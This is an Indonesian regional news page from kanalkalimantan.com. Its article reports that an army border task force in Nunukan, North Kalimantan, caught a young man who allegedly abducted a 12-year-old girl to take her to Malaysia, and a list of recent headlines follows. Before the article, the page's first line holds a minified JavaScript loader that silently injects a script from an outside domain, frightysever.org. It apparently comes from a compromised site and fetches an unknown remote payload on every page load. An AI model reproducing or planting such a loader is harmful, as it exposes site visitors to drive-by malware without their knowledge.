(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Utara

Satgas Pamtas Yonif 623/BWU Gagalkan Aksi Penculikan di Perbatasan Kaltara


KANALKALIMANTAN.COM, NUNUKAN – Satgas Pamtas Yonif 623/BWU (Bhakti Wira Utama) menangkap seorang laki-laki warga Sebuku, Nunukan, yang diduga menculik anak di bawah umur untuk dibawa ke Malaysia melalui Perbatasan RI-Malaysia.

Dalam rilisnya di Nunukan, Dansatgas Pamtas Yonif 623/BWU Letkol Inf Yordania mengatakan, setelah mendapat laporan, pihaknya bergerak cepat menyusuri Sebuku hingga Seimanggaris, Kalimantan Utara (Kaltara).

“Berdasar laporan warga Sebuku, pelaku diamankan bersama korban di pelabuhan speed Sei Ular, Nunukan,” katanya, Kamis (30/9/2020).

Dijelaskan dia, informasi penculikan tersebut didapat dari masyarakat Desa Bebanas bernama H Salim terkait dugaan penculikan warga desa Sebuku atas nama AM (12) pada Selasa (29/9/2020).

Keduanya diketahui akan menyeberang menuju Tawau, Malaysia, melalui Sebatik, Kalimantan Utara (Kaltara).

“Mereka akan menyeberang melalui Pelabuhan Speed Sungai Ular, selanjutnya proses hukumnya kami serahkan kepada pihak yang berwenang,” ujarnya.

Pelaku atas nama Muhammad Asri Bin Dahlan (19), bekerjaan sebagai buruh, beralamat Desa Bebanas RT 01 Kecamatan Sebuku, Kabupaten Nunukan.

Sementara korban adalah AM (12), perempuan, pelajar SD di Desa Bebanas RT 01 Kecamatan Sebuku, Kabupaten Nunukan, Kaltara.

Barang bukti yang diamankan adalah tas gendong warna hitam berisi pakaian, handphone merk Advan warna hitam beserta charger dan paspor atas nama Muhammad Asri Bin Dahlan.

“Tugas kami adalah mengamankan perbatasan dari tindakan ilegal atau perbuatan yang mengarah kepada tindak pidana,” sebutnya.

Adapun personel Satgas Pamtas Yonif 623/BWU Pos Salang yang berhasil mengamankan pelaku adalah Letda Inf Edy Sukatman, Serda Alfantri, Praka Makhali dan Pratu Lutfi Kartolo.

Kini, korban dan pelaku sudah dibawa ke Polsek Sebuku. Keduanya diterima langsung oleh Waka Polsek Sebuku Ipda Pol Marusaha Marpaung untuk dilakukan pemeriksaan lebih lanjut. (fatahillah awaluddin/suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

3 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

4 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

6 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

7 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

8 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

8 jam ago

This website uses cookies.